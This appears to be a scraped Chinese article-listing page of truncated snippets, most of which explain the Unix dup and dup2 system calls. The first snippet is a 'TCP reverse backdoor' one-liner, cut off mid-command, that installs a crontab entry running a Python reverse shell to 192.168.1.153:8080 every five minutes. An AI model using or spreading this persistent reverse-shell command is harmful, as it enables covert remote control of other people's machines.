TCP反弹后门//python版本,kali下面测试成功,tcp8080:
(crontab-l;printf"*/5****/usr/bin/python-c‘importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.153\",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.du..
分类:
其他好文 时间:
2015-02-04 16:57:58
阅读次数:
382
原 dup2()函数:
#include
int dup2( int fd, int fd2 );
对于 dup2,可以用 fd2 参数指定新描述符的值。如果 fd2 已经打开,则先将其关闭。如若 fd 等于 fd2,则 dup2 返回 fd2,而不关闭它。否则,fd2 的 FD_CLOEXEC 文件描述符标志就被清除,这样 fd2 在进程调用 exec 时是打开状态。该函数返回的新文件描...
分类:
其他好文 时间:
2015-01-07 20:54:57
阅读次数:
158
系统调用dup和dup2能够复制文件描述符。dup返回新的文件文件描述符(没有用的文件描述符最小的编号)。dup2可以让用户指定返回的文件描述符的值,如果需要,则首先接近newfd的值,他通常用来重新打开或者重定向一个文件描述符。他的原型如下:#include int dup(int oldfd);...
分类:
系统相关 时间:
2014-12-31 18:20:42
阅读次数:
291
#include #include #include #include #include int main(void){ #define STDOUT 1 int nul, oldstdout; char msg[] = "This is a test";/* create a file...
分类:
系统相关 时间:
2014-12-26 16:27:32
阅读次数:
170
定义这两个函数的头文件是
unistd.h
这个头文件同时定义了下面三个常量:
* STDIN_FILENO
= 0 标准输入
* STDOUT_FILENO
= 1 标准输出
* STDERR_FILENO
= 2 标准出错输出
dup和dup2函数
#include
int dup (int filedes);
int dup2 ( int filedes,in...
分类:
其他好文 时间:
2014-12-25 16:32:27
阅读次数:
253
dup和dup2也是两个非常有用的调用,它们的作用都是用来复制一个文件的描述符。它们经常用来重定向进程的stdin、stdout和stderr。这两个函数的原形如下:
#include
int dup( int oldfd );
int dup2( int oldfd, int targetfd );
dup()函数:
利用函数dup,我们可以复制一个描述符。传给该函数一个既有的描述符...
分类:
其他好文 时间:
2014-11-17 21:23:54
阅读次数:
160
文件操作篇closecreatdupdup2fcntlflockfsynclseekmkstempopenreadsyncwriteclose(关闭文件)相关函数open,fcntl,shutdown,unlink,fclose表头文件#include定义函数int close(int fd);函数...
分类:
其他好文 时间:
2014-11-10 01:01:48
阅读次数:
230
本文讨论如何在多个进程间共享文件,以及所涉及的内核数据结构。然后会介绍dup,dup2,fcntl等函数的使用。1 数据结构内核使用三种数据结构表示打开的文件:(1)每个进程在进程表中都有一个记录项,记录项中有一张打开文件文件描述符表,每项包括: a )文件描述符标志(close_on_exec)....
分类:
其他好文 时间:
2014-11-08 23:26:16
阅读次数:
337
一、概述Unix文件操作常用函数包括open、close、creat、lseek、dup、dup2、fcntl等,其中open、creat、 fcntl函数需要包含头文件,其余几个函数需要包含头文件。由于在Linux操作系统 中使用man命令可以非常方便的查找函数原型及示例,这里就不帖出函数原型了,...
分类:
其他好文 时间:
2014-11-05 16:27:43
阅读次数:
316
dup,dup2目标复制一个文件描述符头文件#include 函数原型newfd = dup(oldfd);newfd = dup2(oldfdm, newfd);参数oldfd需要复制的文件描述符newfd复制oldfd后得到的文件描述符返回值-1 发生错误newfd 新的文件描述符p...
分类:
其他好文 时间:
2014-10-20 19:17:45
阅读次数:
237